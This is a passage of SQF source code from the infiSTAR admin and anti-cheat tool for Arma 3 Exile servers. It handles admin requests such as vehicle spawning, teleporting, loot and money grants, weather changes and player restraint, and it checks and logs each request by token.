  4706. _fn_getOldPincode = {
  4707. {
  4708. _tmppinCode = _x getVariable ['ExileAccessCode',''];
  4709. if(!(_tmppinCode isEqualTo '')&&(_x getVariable['ExileOwnerUID',''] isEqualTo _clientUID))exitWith{_pinCode = _tmppinCode;};
  4710. } forEach _this;
  4711. };
  4712. (entities 'LandVehicle') call _fn_getOldPincode;
  4713. if(_pinCode isEqualTo '')then{(entities 'Air') call _fn_getOldPincode;};
  4714. if(_pinCode isEqualTo '')then{(entities 'Ship') call _fn_getOldPincode;};
  4715. if(_pinCode isEqualTo '')then{for '_i' from 0 to 3 do {_pinCode = _pinCode + str(floor(random 10));};};
  4716. };
  4717.  
  4718. _vehicleObject setVariable ['ExileIsPersistent', true];
  4719. _vehicleObject setVariable ['ExileAccessCode', _pinCode];
  4720. _vehicleObject addEventHandler ['GetOut', {_this call ExileServer_object_vehicle_event_onGetOut}];
  4721. }
  4722. else
  4723. {
  4724. _vehicleObject setVariable ['ExileIsPersistent', false];
  4725. };
  4726.  
  4727. _vehicleObject setFuel 1;
  4728. _vehicleObject addEventHandler ['GetIn', {_this call ExileServer_object_vehicle_event_onGetIn}];
  4729. _vehicleObject addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; _this call ExileServer_object_vehicle_event_onMPKilled;}];
  4730. _vehicleObject call ExileServer_system_simulationMonitor_addVehicle;
  4731. _vehicleObject setVariable['ExileOwnerUID',_clientUID];
  4732.  
  4733. if(_persistent)then
  4734. {
  4735. _vehicleObject call ExileServer_object_vehicle_database_insert;
  4736. _vehicleObject call ExileServer_object_vehicle_database_update;
  4737.  
  4738. _input = [
  4739. [_vehicleClass,_pinCode,netId _vehicleObject],
  4740. {
  4741. systemChat format['CODE FOR %1 is %2',_this select 0,_this select 1];
  4742. (objectFromnetId (_this select 2)) setVariable ['ExileAlreadyKnownCode',(_this select 1)];
  4743. },
  4744. (owner _target),
  4745. false
  4746. ] call FN_infiSTAR_S;
  4747. if!(_target isEqualTo _ObjFromnetId)then{_input set[2,owner _ObjFromnetId];_input call FN_infiSTAR_S;};
  4748. };
  4749. _vehicleObject setVariable ['ExileIsLocked', 0];
  4750. _vehicleObject lock 0;
  4751. _vehicleObject enableRopeAttach true;
  4752. "; if((_UVC)&&(!_UVC_adminspawn))then{ _A3AHstring = _A3AHstring + "
  4753. _vehicleObject setVariable['"+_vehicle_needs_check+"',false];
  4754. "; }; _A3AHstring = _A3AHstring + "
  4755. };
  4756. if(_option isEqualTo 1)exitWith
  4757. {
  4758. _unitNetId = _array select 1;
  4759. _pos = _array select 2;
  4760. _unit = objectFromnetId _unitNetId;
  4761. _isOnFoot = isNull objectParent _unit;
  4762. _veh = vehicle _unit;
  4763. _lastpos = getPos _unit;
  4764. _name = _unit getVariable['ExileNameOnChar',if(alive _unit)then{name _unit}else{''}];
  4765. _uid = getPlayerUID _unit;
  4766. if(_isOnFoot)then
  4767. {
  4768. [[_unit,_pos],fnc_do_adminTP,_unit,false] call FN_infiSTAR_S;
  4769. }
  4770. else
  4771. {
  4772. _driver = driver _veh;
  4773. if(isPlayer _driver)then
  4774. {
  4775. _name = _driver getVariable['ExileNameOnChar',if(alive _driver)then{name _driver}else{''}];
  4776. _uid = getPlayerUID _driver;
  4777. [[_driver,_pos],fnc_do_adminTP,_driver,false] call FN_infiSTAR_S;
  4778. }
  4779. else
  4780. {
  4781. _veh setOwner 2;
  4782. _veh setVelocity [0,0,0];
  4783. _veh setVectorUp [0,0,1];
  4784. _veh setPosATL _pos;
  4785. };
  4786. };
  4787. if!(_clientUID in _ld)then
  4788. {
  4789. _mapLP = mapGridPosition _lastpos;
  4790. _mapCP = mapGridPosition _pos;
  4791. _log = format[
  4792. '%1(%2) | Teleported %3(%4) from %5(%6) to %7(%8) (%9m)',
  4793. _clientName,
  4794. _clientUID,
  4795. _name,
  4796. _uid,
  4797. _lastpos,
  4798. _mapLP,
  4799. _pos,
  4800. _mapCP,
  4801. round(_lastpos distance2D _pos)
  4802. ];
  4803. ['ADMINLOG',_log] call FNC_A3_RL;
  4804.  
  4805. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  4806. if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
  4807. "+_AH_AdmiLogArrayRND+" pushBack _log;
  4808. '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
  4809. "; }; _A3AHstring = _A3AHstring + "
  4810. };
  4811. };
  4812. if(_option isEqualTo 2)exitWith
  4813. {
  4814. _state = _array select 1;
  4815. _ObjFromnetId hideObjectGlobal _state;
  4816. };
  4817. if(_option isEqualTo 3)exitWith
  4818. {
  4819. _target = objectFromnetId (_array select 1);
  4820. _pos = _array select 2;
  4821. _itemClassName = _array select 3;
  4822.  
  4823. _lootHolder = objNull;
  4824. _wpnh = nearestObjects [_target, ['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], 3];
  4825. if!(_wpnh isEqualTo [])then{_lootHolder = _wpnh select 0;};
  4826. if(isNull _lootHolder)then
  4827. {
  4828. _lootHolder = createVehicle ['GroundWeaponHolder',_pos,[],3,'CAN_COLLIDE'];
  4829. _lootHolder setPosATL _pos;
  4830. _lootHolder setVariable['BIS_enableRandomization',false];
  4831. };
  4832.  
  4833. if(getText(configfile >> 'CfgVehicles' >> _itemClassName >> 'vehicleClass') == 'BackPacks')exitWith
  4834. {
  4835. _lootHolder addBackpackCargoGlobal [_itemClassName,1];
  4836. };
  4837.  
  4838. _lootHolder addItemCargoGlobal [_itemClassName,1];
  4839. if(isClass (configFile >> 'CfgWeapons' >> _itemClassName))then
  4840. {
  4841. _magazines = getArray (configFile >> 'CfgWeapons' >> _itemClassName >> 'magazines');
  4842. if(str _magazines != '[]')then
  4843. {
  4844. {_lootHolder addItemCargoGlobal [_x,3];} forEach _magazines;
  4845. };
  4846. };
  4847. };
  4848. if(_option isEqualTo 4)exitWith
  4849. {
  4850. _texture = _array select 1;
  4851. _textureid = _array select 2;
  4852. _dir = _array select 3;
  4853. _location = _array select 4;
  4854.  
  4855. _board = createVehicle ['Exile_Sign_TraderCity', _location, [], 0, 'CAN_COLLIDE'];
  4856. _board setObjectTextureGlobal[0,_texture];
  4857. _board setDir _dir;
  4858. _board addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
  4859.  
  4860. _board setVariable ['ExileOwnerUID',_clientUID];
  4861. _board setVariable ['ExileAccessCode',_textureid+1];
  4862. _board call ExileServer_object_vehicle_database_insert;
  4863.  
  4864. _board = createVehicle ['Exile_Sign_TraderCity', _location, [], 0, 'CAN_COLLIDE'];
  4865. _board setObjectTextureGlobal[0,_texture];
  4866. _board setDir (_dir+180);
  4867. _board addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
  4868.  
  4869. _board setVariable ['ExileOwnerUID',_clientUID];
  4870. _board setVariable ['ExileAccessCode',_textureid+1];
  4871. _board call ExileServer_object_vehicle_database_insert;
  4872. };
  4873. if(_option isEqualTo 5)exitWith
  4874. {
  4875. _target = objectFromnetId (_array select 1);
  4876. _offset = _array select 2;
  4877. _maxHeight = _array select 3;
  4878. _target attachTo [vehicle _ObjFromnetId,[0,_offset,_maxHeight]];
  4879. };
  4880. if(_option isEqualTo 7)exitWith
  4881. {
  4882. _msg = _array select 1;
  4883. if(typename _msg == 'ARRAY')then{_msg = toString _msg;};
  4884. [_msg,-2] call fnc_serverMassMessage;
  4885. };
  4886. if(_option isEqualTo 8)exitWith
  4887. {
  4888. _msg = _array select 1;
  4889. if(typename _msg == 'ARRAY')then{_msg = toString _msg;};
  4890. [_msg,{systemChat format['<infiSTAR.de> %1',_this];},-2,false] call FN_infiSTAR_S;
  4891. };
  4892. if(_option isEqualTo 9)exitWith
  4893. {
  4894. _target = objectFromnetId (_array select 1);
  4895. if(isNil'_target')exitWith{};
  4896. if(isNull _target)exitWith{};
  4897.  
  4898. _target setDamage 0;
  4899. if((_target isKindOf 'LandVehicle')||(_target isKindOf 'Ship')||(_target isKindOf 'Air'))then
  4900. {
  4901. if(local _target)then
  4902. {
  4903. [_target,9999] call ExileClient_util_fuel_setFuel;
  4904. }
  4905. else
  4906. {
  4907. ['setFuelRequest',[netId _target,9999]] call ExileClient_system_network_send;
  4908. };
  4909. _target setFuel 1;
  4910. };
  4911. if((getPlayerUID _target != '')&&(_target isKindOf 'Man'))then
  4912. {
  4913. _ownertarget = owner _target;
  4914. if(_ownertarget > 2)then
  4915. {
  4916. _target setBleedingRemaining 0;
  4917. _target setOxygenRemaining 1;
  4918. _target setFatigue 0;
  4919. _code = {
  4920. ExileClientPlayerAttributes = [100,100,100,100,0,37,0];
  4921. ExileClientPlayerAttributesASecondAgo = ExileClientPlayerAttributes;
  4922. ExileClientPlayerLastHpRegenerationAt = diag_tickTime;
  4923. ExileClientPlayerIsOverburdened = false;
  4924. ExileClientPlayerOxygen = 100;
  4925. ExileClientPlayerIsAbleToBreathe = true;
  4926. ExileClientPlayerIsDrowning = false;
  4927. ExileClientPlayerIsInjured = false;
  4928. ExileClientPlayerIsBurning = false;
  4929. ExileClientPlayerIsBleeding = false;
  4930. ExileClientPlayerIsExhausted = false;
  4931. ExileClientPlayerIsHungry = false;
  4932. ExileClientPlayerIsThirsty = false;
  4933. player setBleedingRemaining 0;
  4934. player setOxygenRemaining 1;
  4935. player setFatigue 0;
  4936.  
  4937. if(!isNil'ExileClientBleedOutThread')then
  4938. {
  4939. if !(ExileClientBleedOutThread isEqualTo -1) then
  4940. {
  4941. [ExileClientBleedOutThread] call ExileClient_system_thread_removeTask;
  4942. ExileClientBleedOutThread = -1;
  4943. };
  4944. };
  4945. ExileClientPostProcessingColorCorrections ppEffectAdjust [1, 1, 0, [0, 0, 0, 0], [0.39, 0.32, 0.25, 1], [0.5,0.5,0.5,0], [0,0,0,0,0,0,4]];
  4946. ExileClientPostProcessingColorCorrections ppEffectCommit 0;
  4947. ExileClientPostProcessingBackgroundBlur ppEffectEnable false;
  4948. ExileClientPostProcessingBackgroundBlur ppEffectAdjust [0];
  4949. ExileClientPostProcessingBackgroundBlur ppEffectCommit 0;
  4950. ExileClientPostProcessingDelirium ppEffectAdjust [2, 0.1, 0.1, 0.2, 0.2, 2, 2, 0.01, 0.01, 0.01, 0.01, 0.01, 0.1, 2, 2];
  4951. ExileClientPostProcessingDelirium ppEffectCommit 0;
  4952. ExileClientPostProcessingDelirium ppEffectEnable false;
  4953.  
  4954. if(!isNil'ExileRadiationThreadHandle')then
  4955. {
  4956. [] call ExileClient_system_radiation_event_onPlayerDied;
  4957. ExilePlayerRadiation = 0;
  4958. ExilePlayerRadiationLastCheck = 0;
  4959. [] call ExileClient_system_radiation_event_onPlayerSpawned;
  4960. };
  4961. true
  4962. };
  4963. ['',_code,_ownertarget,false] call FN_infiSTAR_S;
  4964. };
  4965. };
  4966. };
  4967. if(_option isEqualTo 10)exitWith
  4968. {
  4969. _netId = _array select 1;
  4970. _object = objectFromnetId _netId;
  4971. _object = vehicle _object;
  4972. if((_object isKindOf 'LandVehicle') || (_object isKindOf 'Air') || (_object isKindOf 'Ship') || (_object isKindOf 'Static'))then
  4973. {
  4974. _type = typeOf _object;
  4975. _locked = locked _object;
  4976. if(_locked isEqualTo 2)then
  4977. {
  4978. if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileIsLockable'))then
  4979. {
  4980. _object setVariable ['ExileIsLocked',0,true];
  4981. }
  4982. else
  4983. {
  4984. if(local _object)then
  4985. {
  4986. _object lock 0;
  4987. }
  4988. else
  4989. {
  4990. [owner _object,'LockVehicleRequest',[_netId,false]] call ExileServer_system_network_send_to;
  4991. };
  4992. _object setVariable ['ExileIsLocked',0];
  4993. };
  4994. _object enableRopeAttach true;
  4995. }
  4996. else
  4997. {
  4998. if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileIsLockable'))then
  4999. {
  5000. _object setVariable ['ExileIsLocked',-1,true];
  5001. }
  5002. else
  5003. {
  5004. if(local _object)then
  5005. {
  5006. _object lock 2;
  5007. }
  5008. else
  5009. {
  5010. [owner _object,'LockVehicleRequest',[_netId,true]] call ExileServer_system_network_send_to;
  5011. };
  5012. _object setVariable ['ExileIsLocked',-1];
  5013. };
  5014. _object enableRopeAttach false;
  5015. };
  5016. _object setVariable ['ExileLastLockToggleAt', time];
  5017. _object setVariable ['ExileAccessDenied', false];
  5018. _object setVariable ['ExileAccessDeniedExpiresAt', 0];
  5019. _object call ExileServer_system_vehicleSaveQueue_addVehicle;
  5020. };
  5021. };
  5022. if(_option isEqualTo 11)exitWith
  5023. {
  5024. _target = objectFromnetId (_array select 1);
  5025. _code = {
  5026. _inventoryP = [];
  5027. {_inventoryP pushBack _x;} forEach (assignedItems player);
  5028. {_inventoryP pushBack _x;} forEach (magazines player);
  5029. {_inventoryP pushBack _x;} forEach (weapons player);
  5030. {_inventoryP pushBack _x;} forEach (primaryWeaponItems player);
  5031. {_inventoryP pushBack _x;} forEach (secondaryWeaponItems player);
  5032. _inventoryP pushBack (primaryWeapon player);
  5033. _inventoryP pushBack (secondaryWeapon player);
  5034. _inventoryP pushBack (uniform player);
  5035. _inventoryP pushBack (vest player);
  5036. _inventoryP pushBack (backpack player);
  5037. _inventoryP pushBack (headgear player);
  5038. _inventoryP pushBack (goggles player);
  5039. {
  5040. player removeItem _x;
  5041. player removeWeapon _x;
  5042. player removeMagazine _x;
  5043. removeUniform player;
  5044. removeVest player;
  5045. removeBackpack player;
  5046. removeHeadgear player;
  5047. removeGoggles player;
  5048. player removePrimaryWeaponItem _x;
  5049. player removeSecondaryWeaponItem _x;
  5050. player unlinkItem _x;
  5051. } forEach _inventoryP;
  5052. };
  5053. ['',_code,(owner _target),false] call FN_infiSTAR_S;
  5054. };
  5055. if(_option isEqualTo 12001)exitWith
  5056. {
  5057. _player = objectFromnetId (_array select 1);
  5058. _amount = _array select 2;
  5059.  
  5060. _playerMoney = _player getVariable ['ExileMoney', 0];
  5061. _playerMoney = _playerMoney + _amount;
  5062. _player setVariable ['ExileMoney', _playerMoney, true];
  5063. format['setPlayerMoney:%1:%2', _playerMoney, _player getVariable ['ExileDatabaseID', 0]] call ExileServer_system_database_query_fireAndForget;
  5064. };
  5065. if(_option isEqualTo 12002)exitWith
  5066. {
  5067. _player = objectFromnetId (_array select 1);
  5068. _amount = _array select 2;
  5069.  
  5070. _playerMoney = _player getVariable ['ExileLocker', 0];
  5071. _playerMoney = _playerMoney + _amount;
  5072. _player setVariable ['ExileLocker', _playerMoney, true];
  5073. format['updateLocker:%1:%2', _playerMoney, (getPlayerUID _player)] call ExileServer_system_database_query_fireAndForget;
  5074. };
  5075. if(_option isEqualTo 12003)exitWith
  5076. {
  5077. _player = objectFromnetId (_array select 1);
  5078. _amount = _array select 2;
  5079.  
  5080. _playerRespect = _player getVariable ['ExileScore', 0];
  5081. _playerRespect = _playerRespect + _amount;
  5082. _player setVariable ['ExileScore', _playerRespect, true];
  5083. [_playerRespect,{ExileClientPlayerScore = _this;},(owner _player),false] call FN_infiSTAR_S;
  5084. format['setAccountScore:%1:%2', _playerRespect, (getPlayerUID _player)] call ExileServer_system_database_query_fireAndForget;
  5085. };
  5086. if(_option isEqualTo 13)exitWith
  5087. {
  5088. _target = objectFromnetId (_array select 1);
  5089. _value = _array select 2;
  5090. _targetUID = getPlayerUID _target;
  5091. if(_targetUID in _ld)then
  5092. {
  5093. ['ERROR',{systemChat _this;_this call FN_SHOW_LOG;},_clientID,false] call FN_infiSTAR_S;
  5094. }
  5095. else
  5096. {
  5097. [_value,{ if!(userInputDisabled isEqualTo _this)then{disableUserInput _this;}; },(owner _target),false] call FN_infiSTAR_S;
  5098. };
  5099. };
  5100. if(_option isEqualTo 14)exitWith
  5101. {
  5102. _obj = objectFromnetId (_array select 1);
  5103. if(!isNull _obj)then
  5104. {
  5105. _pincode = _obj getVariable['ExileAccessCode',''];
  5106. _owneruid = _obj getVariable ['ExileOwnerUID', ''];
  5107. if(_owneruid isEqualTo '')then
  5108. {
  5109. _owneruid = missionNameSpace getVariable[format['UID_BY_OWNER_%1',owner _obj],''];
  5110. };
  5111. _ownername = missionNameSpace getVariable[format['NAME_BY_UID_%1',_owneruid],''];
  5112. [_obj,_pincode,_ownername,_owneruid] remoteExecCall ['admin_showinfo_catch',_clientID,false];
  5113. };
  5114. };
  5115. if(_option isEqualTo 15)exitWith
  5116. {
  5117. _victimnetId = _array select 1;
  5118. _hostageTakernetId = _array select 2;
  5119. _value = _array select 3;
  5120. if(_value)then
  5121. {
  5122. try {
  5123. _victim = objectFromnetId _victimnetId;
  5124. _hostageTaker = objectFromnetId _hostageTakernetId;
  5125. if (isNull _hostageTaker) then
  5126. {
  5127. throw 'Unknown player cannot handcuff someone!';
  5128. };
  5129. if !(alive _hostageTaker) then
  5130. {
  5131. throw 'The dead cannot handcuff others!';
  5132. };
  5133. if (isNull _victim) then
  5134. {
  5135. throw 'Cannot handcuff unknown victim!';
  5136. };
  5137. if !(isPlayer _victim) then
  5138. {
  5139. throw 'Cannot handcuff bots!';
  5140. };
  5141. if !(_victim isKindOf 'Exile_Unit_Player') then
  5142. {
  5143. throw 'Can only handcuff players!';
  5144. };
  5145. if !(alive _victim) then
  5146. {
  5147. throw 'Dead people cannot be handcuffed!';
  5148. };
  5149. if (_victim getVariable['ExileIsHandcuffed', false]) then
  5150. {
  5151. throw 'Cannot double handcuff someone!';
  5152. };
  5153. moveOut _victim;
  5154. _victim action ['eject', (vehicle _victim)];
  5155. _victim setVariable['ExileIsHandcuffed', true, true];
  5156. _victim setVariable['ExileHostageTakernetId', netId _hostageTaker];
  5157. _victim setVariable['ExileHostageTakerUID', getPlayerUID _hostageTaker];
  5158. ['switchMoveRequest', [_victimnetId, 'Acts_AidlPsitMstpSsurWnonDnon_loop']] call ExileServer_system_network_send_broadcast;
  5159. [_victim, 'handcuffRequest', [netId _hostageTaker]] call ExileServer_system_network_send_to;
  5160. }
  5161. catch {
  5162. diag_log format['<infiSTAR.de> Restrain exception: %1',_exception];
  5163. };
  5164. }
  5165. else
  5166. {
  5167. try {
  5168. _victim = objectFromnetId _victimnetId;
  5169. if (isNull _victim) then
  5170. {
  5171. throw 'Cannot free unknown victim!';
  5172. };
  5173. if !(_victim getVariable['ExileIsHandcuffed', false]) then
  5174. {
  5175. throw 'Cannot free not-handcuffed ones!';
  5176. };
  5177. ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_out']] call ExileServer_system_network_send_broadcast;
  5178. _victim setVariable['ExileIsHandcuffed', false, true];
  5179. _victim setVariable['ExileHostageTakernetId', nil];
  5180. _victim setVariable['ExileHostageTakerUID', nil];
  5181.  
  5182. [
  5183. '',
  5184. {
  5185. ExileClientIsHandcuffed = false;
  5186. ExileClientHostageTaker = objNull;
  5187. if !(ExileClientBreakFreeActionHandle isEqualTo -1) then
  5188. {
  5189. player removeAction ExileClientBreakFreeActionHandle;
  5190. ExileClientBreakFreeActionHandle = -1;
  5191. };
  5192. },
  5193. owner _victim,
  5194. false
  5195. ] call FN_infiSTAR_S;
  5196. }
  5197. catch {
  5198. diag_log format['<infiSTAR.de> UnRestrain exception: %1',_exception];
  5199. };
  5200. };
  5201. };
  5202. if(_option isEqualTo 16)exitWith
  5203. {
  5204. _somethingChanged = false;
  5205. _FOG_VALUE = _array select 1;
  5206. if(_FOG_VALUE != fog)then
  5207. {
  5208. 0 setFog _FOG_VALUE;
  5209. };
  5210. _OVERCAST_VALUE = _array select 2;
  5211. if(_OVERCAST_VALUE != overcast)then
  5212. {
  5213. 0 setOvercast _OVERCAST_VALUE;
  5214. _somethingChanged = true;
  5215. };
  5216. _RAIN_VALUE = _array select 3;
  5217. if(_RAIN_VALUE != rain)then
  5218. {
  5219. 0 setRain _RAIN_VALUE;
  5220. _somethingChanged = true;
  5221. };
  5222. if(_somethingChanged)then{
  5223. simulWeatherSync;
  5224. forceWeatherChange;
  5225. };
  5226. };
  5227. if(_option isEqualTo 17)exitWith
  5228. {
  5229. _hour = _array select 1;
  5230. _date = date;
  5231. _date set [3,_hour];
  5232. setDate _date;
  5233. };
  5234. if(_option isEqualTo 18)exitWith
  5235. {
  5236. _target = objectFromnetId (_array select 1);
  5237. _value = _array select 2;
  5238. [_value,{ if(_value)then{player setUnconscious _value;}else{player setUnconscious _value;player switchMove '';}; },(owner _target),false] call FN_infiSTAR_S;
  5239. };
  5240. if(_option isEqualTo 19)exitWith
  5241. {
  5242. _target = objectFromnetId (_array select 1);
  5243. if(isNull _target)exitWith{};
  5244.  
  5245. _targetID = owner _target;
  5246. if(_targetID < 3)exitWith{};
  5247.  
  5248. _revive = _target getVariable ['revive',-1];
  5249. if!(_revive isEqualTo -1)exitWith
  5250. {
  5251. [
  5252. format['<infiSTAR.de> REVIVE ERROR: Target %1 already getting revived. Started %2 seconds ago..!',_target,time - _revive],
  5253. {systemChat _this},
  5254. _clientID,
  5255. false
  5256. ] call FN_infiSTAR_S;
  5257. };
  5258. _target setVariable ['revive',time];
  5259.  
  5260. [_target,_targetID] spawn fnc_exile_revive_server;
  5261. };
  5262. if(_option isEqualTo 20)exitWith
  5263. {
  5264. _obj = objectFromnetId(_array select 1);
  5265. _pos = _array select 2;
  5266. if(!isNull _obj)then{_obj setPos _pos;};
  5267. };
  5268. if(_option isEqualTo 5000)exitWith
  5269. {
  5270. private['_arrayforcrate'];
  5271. _target = objectFromnetId (_array select 1);
  5272. _selected = _array select 2;
  5273. if(isNil'_target')exitWith{};
  5274. if(!isPlayer _target)exitWith{};
  5275. _targetUID = getPlayerUID _target;
  5276. _targetID = owner _target;
  5277. if(isNil'_targetUID')exitWith{};
  5278. if(_targetUID == '')exitWith{};
  5279.  
  5280. _pos = _target modelToWorld [0,3,1];
  5281. _posATL = getPosATL _target;
  5282. _dir = (getDir _target) + 180;
  5283.  
  5284.  
  5285. _allSupportBoxes = "+str _allSupportBoxes+";
  5286. _boxarray = _allSupportBoxes select _selected;
  5287. if(isNil'_boxarray')exitWith{};
  5288.  
  5289. _boxname = _boxarray select 0;
  5290. _arrayforcrate = _boxarray select 1;
  5291. if(isNil'_arrayforcrate')exitWith{};
  5292. if(_arrayforcrate isEqualTo [])exitWith{};
  5293.  
  5294. _box = 'Exile_Container_SupplyBox' createVehicle _pos;
  5295. _box setVelocity [0,0,0];
  5296. _box setVectorUp [0,0,1];
  5297.  
  5298. clearBackpackCargoGlobal _box;
  5299. clearItemCargoGlobal _box;
  5300. clearMagazineCargoGlobal _box;
  5301. clearWeaponCargoGlobal _box;
  5302.  
  5303. {
  5304. if(typename _x == 'ARRAY')then
  5305. {
  5306. _item = _x select 0;
  5307. _BackPack = getText (configfile >> 'CfgVehicles' >> _item >> 'vehicleClass') == 'BackPacks';
  5308. if(_BackPack)then
  5309. {
  5310. _box addBackpackCargoGlobal [_item,_x select 1];
  5311. }
  5312. else
  5313. {
  5314. _box addItemCargoGlobal [_item,_x select 1];
  5315. };
  5316. }
  5317. else
  5318. {
  5319. _item = _x;
  5320. _BackPack = getText (configfile >> 'CfgVehicles' >> _item >> 'vehicleClass') == 'BackPacks';
  5321. if(_BackPack)then
  5322. {
  5323. _box addBackpackCargoGlobal [_item,1];
  5324. }
  5325. else
  5326. {
  5327. _box addItemCargoGlobal [_item,1];
  5328. };
  5329. };
  5330. } forEach _arrayforcrate;
  5331.  
  5332. _box setOwner _targetID;
  5333. _txt = format['%1 created for %2(%3)!',_boxname,name _target,_targetUID];
  5334. if!(_clientID isEqualTo _targetID)then
  5335. {
  5336. [_txt,{systemChat _this;cutText [_this, 'PLAIN'];},_targetID,false] call FN_infiSTAR_S;
  5337. };
  5338. };
  5339. if(_option isEqualTo 9876)exitWith
  5340. {
  5341. _puid = _array select 1;
  5342. _name = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_puid],''];
  5343. _steamName = [_name,_puid,_clientID] call fnc_resolveSteamName;
  5344. if(_steamName != '')then
  5345. {
  5346. _code = {
  5347. params['_name','_uid',['_steamname','']];
  5348. _log = format['<infiSTAR.de> %1(%2) SteamName is: %3',_name,_uid,_steamname];
  5349. format['%1 -> %2',_name,_steamname] call FN_SHOW_LOG;
  5350. systemchat _log;
  5351. diag_log _log;
  5352. };
  5353. [[_name,_puid,_steamname],_code,_clientID,false] call FN_infiSTAR_S;
  5354. ['STEAM_NAME_LOG',format['%1(%2) is %3',_name,_puid,_steamname]] call FNC_A3_RL;
  5355. };
  5356. };
  5357. };
  5358. "+_fnc_AdminReqReal+" = compileFinal ([_fnc_AdminReqReal] call fnc_CompilableString);
  5359. ";
  5360. diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: added !',time];
  5361.  
  5362. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: adding to main string..',time];
  5363. _A3AHstring = _A3AHstring + "
  5364. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: still compiling...',time];
  5365. _fnc_server_handle_pre_mpmessage =
  5366. {
  5367. private['_admins','_ObjFromnetId','_serverUID','_clientName','_clientID','_option'];
  5368. params[['_tokenreceived',''],['_clientUID',''],['_clientnetId','0:0'],['_array',[]]];
  5369. if(typename _tokenreceived != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 1: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5370. if(_tokenreceived isEqualTo '')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 2: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5371. if(typename _clientUID != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 3: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5372. if(_clientUID in ['',' ','0'])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 4: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5373. if(typename _clientnetId != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 5: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5374. if(_clientnetId in ['','0:0'])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 6: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5375. if(typename _array != 'ARRAY')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 7: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5376. if(_array isEqualTo [])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 8: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
  5377.  
  5378. _serverUID = missionNameSpace getVariable[format['"+_uid_by_token+"%1',_tokenreceived],''];
  5379. _clientName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_serverUID],''];
  5380. if(_serverUID isEqualTo '')then
  5381. {
  5382. _log = format['AH_KICKLOGSPAWN - SERVER UID WRONG! clientUID: %1 - serverUID: %2',_clientName,_clientUID,_serverUID];
  5383. [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5384. };
  5385. _clientID = _serverUID call FNC_OWNER_BY_UID;
  5386.  
  5387. if!(_serverUID isEqualTo _clientUID)then
  5388. {
  5389. _log = format['AH_KICKLOGSPAWN - SERVER RESOLVED UID! clientUID: %1 - serverUID: %2',_clientUID,_serverUID];
  5390. [_clientName,_serverUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5391. [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  5392. _clientUID = _serverUID;
  5393. };
  5394.  
  5395.  
  5396. _ObjFromnetId = objectFromnetId _clientnetId;
  5397. if(isNil '_ObjFromnetId')exitWith
  5398. {
  5399. _log = 'AH_KICKLOGSPAWN playerObj is Nil';
  5400. ['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;
  5401. };
  5402. if(typename _ObjFromnetId != 'OBJECT')exitWith
  5403. {
  5404. _log = format['AH_KICKLOGSPAWN ObjFromnetId wrong typename: %1 %2',typename _ObjFromnetId,_ObjFromnetId];
  5405. ['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;
  5406. };
  5407. if(isNull _ObjFromnetId)then
  5408. {
  5409. _ObjFromnetId = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_clientUID],objNull];
  5410. }
  5411. else
  5412. {
  5413. missionNameSpace setVariable[format['"+_object_by_uid+"%1',_clientUID],_ObjFromnetId];
  5414. missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_clientUID],_ObjFromnetId];
  5415. };
  5416. _array set [0,_clientName];
  5417. _array set [1,_clientUID];
  5418. _array call "+_fnc_server_handle_mpmessage+";
  5419. };
  5420. "+_fnc_server_handle_pre_mpmessage+" = compileFinal ([_fnc_server_handle_pre_mpmessage] call fnc_CompilableString);
  5421. ";
  5422. diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: added !',time];
  5423.  
  5424. diag_log format['<infiSTAR.de> %1 - adminStartupCode: adding to main string..',time];
  5425. _A3AHstring = _A3AHstring + "
  5426. diag_log format['<infiSTAR.de> %1 - adminStartupCode: still compiling...',time];
  5427. _adminStartupCode = {
  5428. GET_TIME_TIME = {
  5429. _hours = floor(time / 60 / 60);
  5430. _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
  5431. _seconds = time - (_hours*60*60) - (_minutes * 60);
  5432. format['%1h %2min %3s',_hours,_minutes,round _seconds]
  5433. };
